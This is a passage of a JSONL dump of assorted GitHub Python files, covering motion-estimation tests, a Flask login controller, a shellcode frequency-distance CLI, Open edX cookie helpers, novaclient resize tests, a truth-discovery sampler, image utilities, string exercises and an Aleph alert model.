numpy.transpose(result[:, :, 1] / self.pixel_precision, axes=[1, 0]).reshape(self.height, self.width))\n\n    def __del__(self):\n        if not self.estimator is None:\n            self.estimator.DeinitME()\n\n\ndef TestME():\n    import os\n    # from skimage.io import imsave\n    prefix = os.path.dirname(os.path.realpath(__file__))\n    with open(os.path.join(prefix, \"test\", \"l.png.my\"), \"rb\") as f:\n        data = f.read()\n        l = [i for i in data]\n    l = numpy.array(l).astype(numpy.uint8)[:3 * 1024 * 432].reshape((432, 1024, 3))\n\n    with open(os.path.join(prefix, \"test\", \"r.png.my\"), \"rb\") as f:\n        data = f.read()\n        r = [i for i in data]\n    r = numpy.array(r).astype(numpy.uint8)[:3 * 1024 * 432].reshape((432, 1024, 3))\n    # imsave(\"r.bmp\", r)\n    # imsave(\"l.bmp\", l)\n\n    a = pyME.ME()\n    a.InitME(1024, 432, 4, 4, 16, \"sad\", 500, 20)\n    l_to_r_motion_filename = str(os.path.join(prefix, \"test\", \"pyME_l_to_r.motion\"))\n    a.LogME(l, r, l_to_r_motion_filename)\n    a.DeinitME()\n    b = pyME.ME()\n    b.InitME(1024, 432, 4, 4, 16, \"sad\", 500, 20)\n    r_to_l_motion_filename = str(os.path.join(prefix, \"test\", \"pyME_r_to_l.motion\"))\n    b.LogME(r, l, r_to_l_motion_filename)\n    b.DeinitME()\n\n    with open(os.path.join(prefix, \"test\", \"GT_l_to_r.motion\"), \"r\") as f_gt, open(l_to_r_motion_filename,\n                                                                                   \"r\") as f_tested:\n        data_gt = f_gt.read().split(\"\\n\")\n        data_tested = f_tested.read().split(\"\\n\")\n        assert len(data_gt) == len(data_tested), \"l_to_r.motion: motion files has different lens\"\n        check = [True if gt != tested else False for gt, tested in zip(data_gt, data_tested)]\n        if numpy.any(check):\n            idx = check.index(True)\n            raise AssertionError(\"l_to_r.motion: motion files different in line {}\".format(idx + 1))\n\n    with open(os.path.join(prefix, \"test\", \"GT_r_to_l.motion\"), \"r\") as f_gt, open(r_to_l_motion_filename,\n                                                                                   \"r\") as f_tested:\n        data_gt = f_gt.read().split(\"\\n\")\n        data_tested = f_tested.read().split(\"\\n\")\n        assert len(data_gt) == len(data_tested), \"l_to_r.motion: motion files has different lens\"\n        check = [True if gt != tested else False for gt, tested in zip(data_gt, data_tested)]\n        if numpy.any(check):\n            idx = check.index(True)\n            raise AssertionError(\"l_to_r.motion: motion files different in line {}\".format(idx + 1))\n    print('All tests passed')\n","repo_name":"dean1t/geometry_estimation","sub_path":"pythonME/me.py","file_name":"me.py","file_ext":"py","file_size_in_byte":6492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5050849644","text":"from flask_app import app, bcrypt\nfrom flask_app.models.user import User\nfrom flask_app.models.book import Book\nfrom flask import render_template, redirect, request, session\n\n@app.route('/')\ndef members():\n    return render_template('members.html')\n\n@app.route('/sign_up')\ndef sign_up():\n    return render_template('sign_up.html')\n\n@app.route('/register', methods=['POST'])\ndef register():\n    if not User.validate_registration(request.form):\n        print(request.form)\n        return redirect('/sign_up')\n    new_user_data = {\n        \"first_name\": request.form['first_name'],\n        \"last_name\": request.form['last_name'],\n        \"user_name\": request.form['user_name'],\n        \"email\": request.form['email'],\n        \"password\": bcrypt.generate_password_hash(request.form['password'])\n    }\n    session['user_id'] = User.register_user(new_user_data)\n    return redirect ('/home')\n\n@app.route('/login')\ndef login():\n    return render_template('login.html')\n\n@app.route('/members_login', methods=['POST'])\ndef user_login():\n    if not User.validate_login(request.form):\n        print('A')\n        print(request.form)\n        return redirect('/login')\n    return redirect ('/home')\n\n@app.route('/logout')\ndef logout():\n        session.clear()\n        return redirect('/')","repo_name":"catkanemitsu/Coding_Dojo-Solo_Project","sub_path":"flask_app/controllers/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37223244095","text":"\"\"\"Testing program for splintershell CLI\"\"\"\nimport pickle\nfrom argparse import ArgumentParser, Namespace\nfrom pathlib import Path\n\nfrom splintershell.learning import get_distance\n\n\ndef get_parsed_args() -> Namespace:\n    parser = ArgumentParser(\n        prog=\"test\", description=\"test shellcode against a trained model\"\n    )\n    parser.add_argument(\n        \"--input\",\n        \"-i\",\n        dest=\"input\",\n        type=str,\n        required=True,\n        help=\"shellcode input file\",\n    )\n    parser.add_argument(\n        \"--model\",\n        \"-m\",\n        dest=\"model\",\n        type=str,\n        required=True,\n        help=\"pickled, trained model input file\",\n    )\n    return parser.parse_args()\n\n\ndef main() -> int:\n    opts = get_parsed_args()\n\n    with Path(opts.model).resolve().open(mode=\"rb\") as model_file:\n        model = pickle.load(model_file)\n\n    with Path(opts.input).resolve().open(mode=\"rb\") as shellcode_file:\n        shellcode = shellcode_file.read()\n\n    distance, size_diff = get_distance(shellcode=shellcode, model=model)\n\n    print(\n        f\"Distance of shellcode's frequency distribution (normalized) from model mean (normalized): {distance}\"\n    )\n    print(f\"Size difference between shellcode and model mean: {size_diff}\")\n\n    return 0\n","repo_name":"one2blame/splintershell","sub_path":"src/splintershell/cli/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"12614179913","text":"\"\"\"\nLanguage preference cookie helper functions\n\"\"\"\nfrom django.conf import settings\n\nfrom openedx.core.djangoapps.lang_pref import COOKIE_DURATION\n\n\ndef get_language_cookie(request, default=None):\n    \"\"\"\n    Return the language cookie stored in the request object.\n    \"\"\"\n    return request.COOKIES.get(settings.LANGUAGE_COOKIE_NAME, default)\n\n\ndef set_language_cookie(request, response, value):\n    \"\"\"\n    Set the language cookie in the response object.\n    \"\"\"\n    response.set_cookie(\n        settings.LANGUAGE_COOKIE_NAME,\n        value=value,\n        domain=settings.SHARED_COOKIE_DOMAIN,\n        max_age=COOKIE_DURATION,\n        secure=request.is_secure(),\n        samesite=\"None\" if request.is_secure() else \"Lax\",\n    )\n\n\ndef unset_language_cookie(response):\n    \"\"\"\n    Remove the language cookie from the response object.\n    \"\"\"\n    response.delete_cookie(\n        settings.LANGUAGE_COOKIE_NAME, domain=settings.SHARED_COOKIE_DOMAIN\n    )\n","repo_name":"openedx/edx-platform","sub_path":"openedx/core/djangoapps/lang_pref/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"}
+{"seq_id":"36111841087","text":"from novaclient.tests.functional import base\n\n\nclass TestServersResize(base.ClientTestBase):\n    \"\"\"Servers resize functional tests.\"\"\"\n\n    COMPUTE_API_VERSION = '2.1'\n\n    def _compare_quota_usage(self, old_usage, new_usage, expect_diff=True):\n        \"\"\"Compares the quota usage in the provided AbsoluteLimits.\"\"\"\n        # For a resize, instance usage shouldn't change.\n        self.assertEqual(old_usage['totalInstancesUsed'],\n                         new_usage['totalInstancesUsed'],\n                         'totalInstancesUsed does not match')\n        # For the resize we're doing, those flavors have the same vcpus so we\n        # don't expect any quota change.\n        self.assertEqual(old_usage['totalCoresUsed'],\n                         new_usage['totalCoresUsed'],\n                         'totalCoresUsed does not match')\n        # RAM is the only thing that will change for these flavors in a resize.\n        if expect_diff:\n            self.assertNotEqual(old_usage['totalRAMUsed'],\n                                new_usage['totalRAMUsed'],\n                                'totalRAMUsed should have changed')\n        else:\n            self.assertEqual(old_usage['totalRAMUsed'],\n                             new_usage['totalRAMUsed'],\n                             'totalRAMUsed does not match')\n\n    def test_resize_up_confirm(self):\n        \"\"\"Tests creating a server and resizes up and confirms the resize.\n        Compares quota before, during and after the resize.\n        \"\"\"\n        server_id = self._create_server(flavor=self.flavor.id).id\n        # get the starting quota now that we've created a server\n        starting_usage = self._get_absolute_limits()\n        # now resize up\n        alternate_flavor = self._pick_alternate_flavor()\n        self.nova('resize',\n                  params='%s %s --poll' % (server_id, alternate_flavor))\n        resize_usage = self._get_absolute_limits()\n        # compare the starting usage against the resize usage\n        self._compare_quota_usage(starting_usage, resize_usage)\n        # now confirm the resize\n        self.nova('resize-confirm', params='%s' % server_id)\n        # we have to wait for the server to be ACTIVE before we can check quota\n        self._wait_for_state_change(server_id, 'active')\n        # get the final quota usage which should be the same as the resize\n        # usage before confirm\n        confirm_usage = self._get_absolute_limits()\n        self._compare_quota_usage(\n            resize_usage, confirm_usage, expect_diff=False)\n\n    def _create_resize_down_flavors(self):\n        \"\"\"Creates two flavors with different size ram but same size vcpus\n        and disk.\n\n        :returns: tuple of 2 IDs which represents larger_flavor for resize and\n            smaller flavor.\n        \"\"\"\n        output = self.nova('flavor-create',\n                           params='%s auto 128 0 1' % self.name_generate())\n        larger_id = self._get_column_value_from_single_row_table(output, \"ID\")\n        self.addCleanup(self.nova, 'flavor-delete', params=larger_id)\n\n        output = self.nova('flavor-create',\n                           params='%s auto 64 0 1' % self.name_generate())\n        smaller_id = self._get_column_value_from_single_row_table(output, \"ID\")\n        self.addCleanup(self.nova, 'flavor-delete', params=smaller_id)\n\n        return larger_id, smaller_id\n\n    def test_resize_down_revert(self):\n        \"\"\"Tests creating a server and resizes down and reverts the resize.\n        Compares quota before, during and after the resize.\n        \"\"\"\n        # devstack's m1.tiny and m1.small have different size disks so we\n        # can't use those as you can't resize down the disk. So we have to\n        # create our own flavors.\n        larger_flavor, smaller_flavor = self._create_resize_down_flavors()\n        # Now create the server with the larger flavor.\n        server_id = self._create_server(flavor=larger_flavor).id\n        # get the starting quota now that we've created a server\n        starting_usage = self._get_absolute_limits()\n        # now resize down\n        self.nova('resize',\n                  params='%s %s --poll' % (server_id, smaller_flavor))\n        resize_usage = self._get_absolute_limits()\n        # compare the starting usage against the resize usage; with counting\n        # quotas in the server there are no reservations, so the\n        # usage changes after the resize happens before it's confirmed.\n        self._compare_quota_usage(starting_usage, resize_usage)\n        # now revert the resize\n        self.nova('resize-revert', params='%s' % server_id)\n        # we have to wait for the server to be ACTIVE before we can check quota\n        self._wait_for_state_change(server_id, 'active')\n        # get the final quota usage which will be different from the resize\n        # usage since we've reverted back *up* to the original flavor; the API\n        # code checks quota again if we revert up in size\n        revert_usage = self._get_absolute_limits()\n        self._compare_quota_usage(resize_usage, revert_usage)\n","repo_name":"openstack/python-novaclient","sub_path":"novaclient/tests/functional/v2/test_resize.py","file_name":"test_resize.py","file_ext":"py","file_size_in_byte":5055,"program_lang":"python","lang":"en","doc_type":"code","stars":381,"dataset":"github-code","pt":"3"}
+{"seq_id":"25643622622","text":"import os\nimport time\nimport random\n\nMovie_fact_path = \"../DataToUse/movie/factDB_movie\"\nMovie_claim_path = \"../DataToUse/movie/claimDB_movie\"\n\nBook_fact_path = \"../DataToUse/book/factDB_book\"\nBook_claim_path = \"../DataToUse/book/claimDB_book\"\n\ntest_fact_path = \"../DataToUse/test/testDB_fact_movie\"\ntest_claim_path = \"../DataToUse/test/testDB_claim_movie\"\n\n# initialization LTM\ndef LTM(alpha_set, beta_set, iterNumber, burninNumber, thinNumber, output_threshold, dataset, datasetPath, outputWritePath):\n\n    def initialization_LTM(alpha_set, beta_set, iterNumber, burninNumber, thinNumber, output_threshold):\n        global iterationCount, burninCount, thinCount\n        thinCount = thinNumber\n        burninCount = burninNumber\n        iterationCount = iterNumber\n\n        global beta, alpha\n        beta = dict()\n        for i in range(2):\n            beta[str(i)] = beta_set[1 - i]\n        alpha = dict()\n        for i in range(2):\n            alpha[str(i)] = dict()\n            for j in range(2):\n                alpha[str(i)][str(j)] = alpha_set[1 - i][1 - j]\n\n        global threshold\n        threshold = output_threshold\n\n    # initialization sampling\n    def initialization_sampling(dataset, datasetPath):\n        def generate_fact_dict(factdict, dataWriteLine):\n            dataSplit = dataWriteLine.split(\"\\t\")\n            factdict[dataSplit[0]] = dict()\n            factdict[dataSplit[0]][dataSplit[1]] = dataSplit[2] # BID, MID: Aurthor, Director\n\n        def generate_claim_dict(claimdict, dataWriteLine):\n            dataSplit = dataWriteLine.split(\"\\t\")\n            if dataSplit[0] not in claimdict.keys():\n                claimdict[dataSplit[0]] = dict()\n            claimdict[dataSplit[0]][dataSplit[1]] = dataSplit[2]\n\n        def generate_truth_dict(factdict):\n            def uniform_initialization_truth():\n                x = random.uniform(0,1)\n                return \"1\" if x >=0.5 else \"0\"\n            truthdict = dict()\n            truth_probability_dict = dict()\n            for key in factdict.keys():\n                truthdict[key] = uniform_initialization_truth()\n                truth_probability_dict[key] = 0\n            return truthdict, truth_probability_dict\n\n        factDict = dict()\n        claimDict = dict()\n\n        global folder_write\n        if dataset == 1: # movie\n            folder_write = \"movie\"\n            dataFile = open(file=os.path.join(datasetPath, folder_write, \"factDB_movie\"), mode=\"r\", encoding=\"utf-8\")\n            dataLines = dataFile.readlines()\n            for dataLine in range(len(dataLines)):  # MID title year source director\n                dataWrite = dataLines[dataLine].strip(\"\\n\")\n                if not dataLine == 0:\n                    generate_fact_dict(factDict, dataWrite)\n            dataFile.close()\n\n            dataFile = open(file=os.path.join(datasetPath, folder_write, \"claimDB_movie\"), mode=\"r\", encoding=\"utf-8\")\n            dataLines = dataFile.readlines()\n            for dataLine in range(len(dataLines)):  # MID title year source director\n                dataWrite = dataLines[dataLine].strip(\"\\n\")\n                if not dataLine == 0:\n                    generate_claim_dict(claimDict, dataWrite)\n            dataFile.close()\n\n        elif dataset == 0:\n            folder_write = \"book\"\n            dataFile = open(file=os.path.join(datasetPath, folder_write, \"factDB_book\"), mode=\"r\", encoding=\"utf-8\")\n            dataLines = dataFile.readlines()\n            for dataLine in range(len(dataLines)):\n                dataWrite = dataLines[dataLine].strip(\"\\n\")\n                if not dataLine == 0:\n                    generate_fact_dict(factDict, dataWrite)\n            dataFile.close()\n\n            dataFile = open(file=os.path.join(datasetPath, folder_write, \"claimDB_book\"), mode=\"r\", encoding=\"utf-8\")\n            dataLines = dataFile.readlines()\n            for dataLine in range(len(dataLines)):\n                dataWrite = dataLines[dataLine].strip(\"\\n\")\n                if not dataLine == 0:\n                    generate_claim_dict(claimDict, dataWrite)\n            dataFile.close()\n\n        elif dataset == -1: # this is for testing\n            dataFile = open(file=os.path.join(datasetPath, \"test\", \"factDB_movie\"), mode=\"r\", encoding=\"utf-8\")\n            dataLines = dataFile.readlines()\n            for dataLine in range(len(dataLines)):  # MID title year source director\n                dataWrite = dataLines[dataLine].strip(\"\\n\")\n                if not dataLine == 0:\n                    generate_fact_dict(factDict, dataWrite)\n            dataFile.close()\n\n            dataFile = open(file=os.path.join(datasetPath, \"test\", \"claimDB_movie\"), mode=\"r\", encoding=\"utf-8\")\n            dataLines = dataFile.readlines()\n            for dataLine in range(len(dataLines)):  # MID title year source director\n                dataWrite = dataLines[dataLine].strip(\"\\n\")\n                if not dataLine == 0:\n                    generate_claim_dict(claimDict, dataWrite)\n            dataFile.close()\n\n        def generate_source_matrix(claimDict, truthDict):\n            source_matrix = dict()\n            for key1 in claimDict.keys(): # fact\n                for key2 in claimDict[key1].keys(): # source\n                    if key2 not in source_matrix.keys():\n                        source_matrix[key2] = dict()\n                        for i in range(2):\n                            source_matrix[key2][str(i)] = dict()\n                            for j in range(2):\n                                source_matrix[key2][str(i)][str(j)] = 0\n                    source_matrix[key2][truthDict[key1]][claimDict[key1][key2]] += 1\n            return source_matrix\n\n        truthDict, truth_probability_dict = generate_truth_dict(factDict)\n        sourceMatrix = generate_source_matrix(claimDict, truthDict)\n        return factDict, claimDict, truthDict, truth_probability_dict, sourceMatrix\n\n    # perform sampling\n    def perform_sampling(dataset):\n        global beta, alpha, threshold\n        global iterationCount, burninCount, thinCount\n\n        factDict, claimDict, truthDict, truth_probability_dict, sourceMatrix = initialization_sampling(dataset, datasetPath)\n        #for key in sourceMatrix:\n        #    print(key + \":\" + str(sourceMatrix[key]))\n\n        sample_size = iterationCount//thinCount - burninCount//thinCount\n        for i in range(1, iterationCount + 1):\n            for fact in factDict.keys():\n                ptf = beta[truthDict[fact]]\n                p_tf = beta[str(1 - int(truthDict[fact]))]\n                for key in claimDict[fact]: # source\n                    atfoc = alpha[truthDict[fact]][claimDict[fact][key]]\n                    atf_oc = alpha[truthDict[fact]][str(1-int(claimDict[fact][key]))]\n                    a_tfoc = alpha[str(1-int(truthDict[fact]))][claimDict[fact][key]]\n                    a_tf_oc = alpha[str(1 - int(truthDict[fact]))][str(1-int(claimDict[fact][key]))]\n                    ntfoc = sourceMatrix[key][truthDict[fact]][claimDict[fact][key]]\n                    ntf_oc = sourceMatrix[key][truthDict[fact]][str(1-int(claimDict[fact][key]))]\n                    n_tfoc = sourceMatrix[key][str(1-int(truthDict[fact]))][claimDict[fact][key]]\n                    n_tf_oc = sourceMatrix[key][str(1-int(truthDict[fact]))][str(1-int(claimDict[fact][key]))]\n                    ptf = ptf * (ntfoc - 1 + atfoc)/(ntfoc + ntf_oc - 1 + atfoc + atf_oc)\n                    p_tf = p_tf * (n_tfoc + a_tfoc)/(n_tfoc + n_tf_oc + a_tfoc + a_tf_oc)\n                if random.uniform(0,1) < p_tf/(ptf + p_tf):\n                    truthDict[fact] = str(1-int(truthDict[fact]))\n                    for key in claimDict[fact]:\n                        sourceMatrix[key][str(1-int(truthDict[fact]))][claimDict[fact][key]] -= 1\n                        sourceMatrix[key][truthDict[fact]][claimDict[fact][key]] += 1\n                if i > burninCount and i % thinCount == 0:\n                    truth_probability_dict[fact] = truth_probability_dict[fact] + int(truthDict[fact])/sample_size\n\n        infer_truth_dict = truth_inference(factDict, truth_probability_dict)\n        source_quality_matrix = source_quality_estimation(claimDict, truth_probability_dict)\n        return infer_truth_dict, source_quality_matrix\n\n    # infer truth\n    def truth_inference(factDict, truth_probability_dict):\n        global threshold\n        infer_truth_dict = dict()\n        for key in truth_probability_dict.keys():\n            for object in factDict[key]:\n                if object not in infer_truth_dict.keys():\n                    infer_truth_dict[object] = list()\n                if truth_probability_dict[key] >= threshold:\n                    infer_truth_dict[object].append(factDict[key][object])\n        return infer_truth_dict\n\n    # source quality estimation\n    def source_quality_estimation(claimDict, truth_probability_dict):\n        global alpha\n        source_quality_final = dict()\n        source_quality_matrix = dict()\n        for fact in claimDict.keys():\n            for source in claimDict[fact].keys():\n                if source not in source_quality_matrix.keys():\n                    source_quality_final[source] = dict()\n                    source_quality_matrix[source] = dict()\n                    for i in range(2):\n                        source_quality_matrix[source][str(i)] = dict()\n                        for j in range(2):\n                            source_quality_matrix[source][str(i)][str(j)] = 0\n                source_quality_matrix[source][\"1\"][claimDict[fact][source]] += truth_probability_dict[fact]\n                source_quality_matrix[source][\"0\"][claimDict[fact][source]] += (1 - truth_probability_dict[fact])\n\n        for source in source_quality_final.keys():\n            source_quality_final[source][\"recall\"] = (source_quality_matrix[source][\"1\"][\"1\"] + alpha[\"1\"][\"1\"])/\\\n                                                     (source_quality_matrix[source][\"1\"][\"1\"] + source_quality_matrix[source][\"1\"][\"0\"] + alpha[\"1\"][\"1\"] + alpha[\"1\"][\"0\"])\n            source_quality_final[source][\"specificity\"] = (source_quality_matrix[source][\"0\"][\"0\"] + alpha[\"0\"][\"0\"])/\\\n                                                     (source_quality_matrix[source][\"0\"][\"0\"] + source_quality_matrix[source][\"0\"][\"1\"] + alpha[\"0\"][\"0\"] + alpha[\"0\"][\"1\"])\n        return source_quality_final\n\n\n    print(\"Now for \" + str(iterNumber))\n    start = time.time()\n    initialization_LTM(alpha_set=alpha_set, beta_set=beta_set, iterNumber=iterNumber,\n                       burninNumber=burninNumber, thinNumber=thinNumber, output_threshold=output_threshold)\n    # initialization_LTM([[10, 10], [80, 8000]], [5, 5], iterNumber=iteration_number_holder[i], burninNumber=burnin_holder[i], thinNumber=thin_holder[i])\n    infer_truth_dict, source_quality_matrix = perform_sampling(dataset)\n    used_time = time.time() - start\n\n    result_write = open(file=outputWritePath + \"/\" + folder_write + \"/\" + \"truth_result_LTM_\" + str(iterNumber) + \"_\" + folder_write, mode=\"w\", encoding=\"utf-8\")\n    result_write.write(\"OID\\tInferTruth\\n\")\n    for object in infer_truth_dict.keys():\n        writeLine = object + \"\\t\"\n        for fact in infer_truth_dict[object]:\n            writeLine = writeLine + fact + \";\"\n        writeLine = writeLine.strip(\";\") + \"\\n\"\n        result_write.write(writeLine)\n    result_write.write(\"time_used:\" + str(used_time) + \"\\n\")\n    result_write.close()\n\n    result_write = open(file=outputWritePath + \"/\" + folder_write + \"/\" + \"source_result_LTM_\" + folder_write + \"_\" + str(iterNumber), mode=\"w\", encoding=\"utf-8\")\n    result_write.write(\"source\\trecall\\tspecificity\\n\")\n    for source in source_quality_matrix:\n        result_write.write(source + \"\\t\" + str(source_quality_matrix[source][\"recall\"]) + \"\\t\" + str(\n            source_quality_matrix[source][\"specificity\"]) + \"\\n\")\n    result_write.close()\n\n\"\"\"\nFollowing method is used for testing the function, \nwe first generate a small database to test correctness\n\"\"\"\n\n\"\"\"\niteration_number_holder = [7, 10, 20, 50, 100, 200, 350, 500]\nburnin_holder = [2, 2, 5, 10, 20, 50, 75, 100]\nthin_holder = [1, 1, 1, 2, 5, 5, 7, 10]\n\"\"\"\n\n# best parameter set in paper\n\"\"\"\nmovie = [[50, 50], [100, 10000]], [10, 10], 50, 10, 2]\nbook = [[50, 50], [10, 1000]], [10, 10], 50, 10, 2]                                                                              \n\"\"\"\n\nthreshold_set = 0.5\nthin_set = 2\nburnin_set = 10\niteration_setting = 10\n\"\"\"\nLTM([[50, 50], [10, 1000]], [10, 10], iterNumber=iteration_setting,\n    burninNumber=burnin_set, thinNumber=thin_set, output_threshold=threshold_set, dataset=0, \n    datasetPath = \"../DataToUse\", outputWritePath=\"./\")  # 1 movie, 0 book, -1 test\n\"\"\"\nLTM([[50, 50], [100, 10000]], [10, 10], iterNumber=iteration_setting,\n    burninNumber=burnin_set, thinNumber=thin_set, output_threshold=threshold_set, dataset=1,\n    datasetPath = \"../DataToUse\", outputWritePath=\"./\") # 1 movie, 0 book, -1 test","repo_name":"yishangru/TruthDiscovery","sub_path":"LTM/LTM.py","file_name":"LTM.py","file_ext":"py","file_size_in_byte":12940,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"}
+{"seq_id":"39139995696","text":"# -- utils.py - source code description\n# This file contains general functions that are repeatedly used in the project.\n# Functions: ask_filepath, folder_path\n# --\nfrom PIL import Image, ImageTk\nfrom tkinter import filedialog\nimport cv2\nimport numpy as np\nfrom colorsys import rgb_to_hsv as colorsys_rgb_to_hsv\n\n\ndef rgb_to_hsv(values):\n    # Convert to percentages\n    float_rgb = values / 255\n\n    # Convert via colorsys library\n    float_hsv = colorsys_rgb_to_hsv(*float_rgb)\n\n    # Convert to integers\n    int_hsv = [int(float_hsv[0] * 180),\n               int(float_hsv[1] * 255),\n               int(float_hsv[2] * 255)]\n\n    return int_hsv\n\n\n# Remove the background on the image\ndef remove_bg(image,\n              color_to_isolate,\n              threshold=15,\n              lower_saturation=0,\n              lower_value=0,\n              upper_saturation=255,\n              upper_value=255):\n    img_hsv = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n\n    original = image.copy()\n\n    if color_to_isolate is None:\n        return\n\n    # Convert RGB values to HSV\n    hsv_color = rgb_to_hsv(np.asarray(color_to_isolate))\n\n    lower = np.asarray([hsv_color[0] - threshold, lower_saturation, lower_value])\n    upper = np.asarray([hsv_color[0] + threshold, upper_saturation, upper_value])\n    mask = cv2.inRange(img_hsv, lower, upper)\n\n    # negate mask\n    mask = 255 - mask\n\n    # apply morphology to remove isolated extraneous noise\n    # use borderconstant of black since foreground touches the edges\n    kernel = np.ones((3, 3), np.uint8)\n    mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\n    mask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, kernel)\n\n    # anti-alias the mask -- blur then stretch\n    # blur alpha channel\n    mask = cv2.GaussianBlur(mask, (0, 0), sigmaX=2, sigmaY=2, borderType=cv2.BORDER_DEFAULT)\n\n    # linear stretch so that 127.5 goes to 0, but 255 stays 255\n    mask = (2 * (mask.astype(np.float32)) - 255.0).clip(0, 255).astype(np.uint8)\n\n    # put mask into alpha channel\n    result = cv2.cvtColor(original, cv2.COLOR_RGB2RGBA)\n    result[:, :, 3] = mask\n\n    return result\n\n\n# Opens a window to ask for the file the user wants to select and returns the filepath\ndef ask_filepath():\n    filepath = filedialog.askopenfilename(title=\"Select File\", filetypes=((\"jpg\", \"*.jpg\"),\n                                                                          (\"png\", \"*.png\"),\n                                                                          (\"gif\", \"*.gif\"),\n                                                                          (\"jpeg\", \"*.jpeg\"),\n                                                                          (\"pcx\", \"*.pcx\")))\n    return filepath\n\n\n# Opens a window to ask for the folder the user wants to choose and returns the folder path\ndef folder_path():\n    return filedialog.askdirectory()\n\n\n# Resizes the photo according to the dimensions indicated\ndef resize_photo(dimensions, img):\n    img.thumbnail(dimensions, Image.LANCZOS)\n    img.resize(dimensions)\n    return ImageTk.PhotoImage(img)\n\n\ndef swap_color(original, color):\n    image = original.copy()\n    indices = np.argwhere(image == 0)\n    new_color = np.array([*color, 255])\n    image[indices[:, 0], indices[:, 1]] = new_color\n    return image\n\n\ndef swap_bg_img(original, bg):\n    try:\n        image = original.copy()\n        indices = np.argwhere(image == 0)\n        image[indices[:, 0], indices[:, 1]] = bg[indices[:, 0], indices[:, 1]]\n    except IndexError:\n        return None\n\n    return image\n","repo_name":"beatricetotanes/cmsc-162-final-proj","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19668037956","text":"# time: O(n^2), space: o(n)\n\ndef remove_duplicates(str1, ans):\n    if len(str1)==0:\n        # return ''.join(sorted(ans))   # to print in sorted order\n        return ans\n    if str1[0] not in ans:   # if not in the ans then just put in the ans\n        ans+= str1[0]\n    return remove_duplicates(str1[1:], ans)  # call the function for next index\n\nprint(remove_duplicates(\"aaaabbbeeecdddd\",\"\"))\n\n\n# submitted on gfg \n# same order but in lexographical order\ndef removeDups(self, S):\n    ans= \"\"\n    for i in range(len(S)):\n        if S[i] not in ans:\n            ans+= S[i]\n    return ans\n\n\n# iterative way to reduce the time complexity\n# time: O(nlogn)\n# this will just remove the duplicates but order will not the same\ndef remove(str1,ans):\n    ans+= str1[0]\n    for i in range(1,len(str1)-1):\n        if str1[i]!=str1[i-1]:\n            ans+= str1[i]\n    return ans\nstr1= \"aaaabbbeeecdddd\"\n# print(remove(''.join(sorted(str1)), \"\"))\n# print(''.join(sorted(str1)))\n\n\n# submitted on Leetcode\ndef removeDuplicateLetters(self, s: str) -> str:\n    LastIndex= [0]*26  # will store the last index occurences of the char\n    # LastIndex will tell whether to delete that char from ans or not\n    for i in range(len(s)):\n        LastIndex[ord(s[i]) - ord('a')]= i    # for 'a' index= 0, for 'b' index= 1 and so on\n    stack= []\n    for i in range(len(s)):\n        curr= ord(s[i]) - ord('a')  # will help in checking the last index\n        if s[i] in stack:  # if curr char is already in stack then skip and do nothing\n            continue\n        # otherwise check if stack_top > curr_char and if it is then check whether they are occuring again after curr_char or not\n        # repeat this till stack become empty \n        # if stack_top is occuring again after curr_char then we can pop the stack_top and consider its final occurences\n        while stack and ord(stack[-1]) > ord(s[i]) and LastIndex[ord(stack[-1]) - ord('a')] > i:\n            stack.pop()\n        stack.append(s[i])\n    # now stack will contain the ans but we have to return in form of string'\n    # so store in form of string and return, that will be the final ans\n    ans= \"\"\n    for i in range(len(stack)):\n        ans+= stack[i]\n    return ans\n\n\n","repo_name":"Ravi-0412/DSA-Program-And-Notes","sub_path":"Recursion_and_String/316_remove_duplicates.py","file_name":"316_remove_duplicates.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"}
+{"seq_id":"17092769057","text":"from datetime import datetime\nfrom normality import stringify\n\nfrom aleph.core import db\nfrom aleph.model.role import Role\nfrom aleph.model.common import DatedModel\n\n\nclass Alert(db.Model, DatedModel):\n    \"\"\"A subscription to notifications on a given query.\"\"\"\n\n    __tablename__ = \"alert\"\n\n    id = db.Column(db.Integer, primary_key=True)\n    query = db.Column(db.Unicode, nullable=True)\n    notified_at = db.Column(db.DateTime, nullable=True)\n\n    role_id = db.Column(db.Integer, db.ForeignKey(\"role.id\"), index=True)\n    role = db.relationship(Role, backref=db.backref(\"alerts\", lazy=\"dynamic\"))  # noqa\n\n    def update(self):\n        self.notified_at = datetime.utcnow()\n        self.updated_at = self.notified_at\n        db.session.add(self)\n        db.session.flush()\n\n    def to_dict(self):\n        data = self.to_dict_dates()\n        data.update(\n            {\n                \"id\": stringify(self.id),\n                \"query\": self.query,\n                \"role_id\": stringify(self.role_id),\n                \"notified_at\": self.notified_at,\n            }\n        )\n        return data\n\n    @classmethod\n    def by_id(cls, id, role_id=None):\n        q = cls.all().filter_by(id=id)\n        if role_id is not None:\n            q = q.filter(cls.role_id == role_id)\n        return q.first()\n\n    @classmethod\n    def by_role_id(cls, role_id):\n        q = cls.all()\n        q = q.filter(cls.role_id == role_id)\n        q = q.order_by(cls.created_at.desc())\n        q = q.order_by(cls.id.desc())\n        return q\n\n    @classmethod\n    def create(cls, data, role_id):\n        alert = cls()\n        alert.role_id = role_id\n        alert.query = stringify(data.get(\"query\"))\n        alert.update()\n        return alert\n\n    def __repr__(self):\n        return \"<Alert(%r, %r)>\" % (self.id, self.query)\n","repo_name":"alephdata/aleph","sub_path":"aleph/model/alert.py","file_name":"alert.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":1870,"dataset":"github-code","pt":"3"}
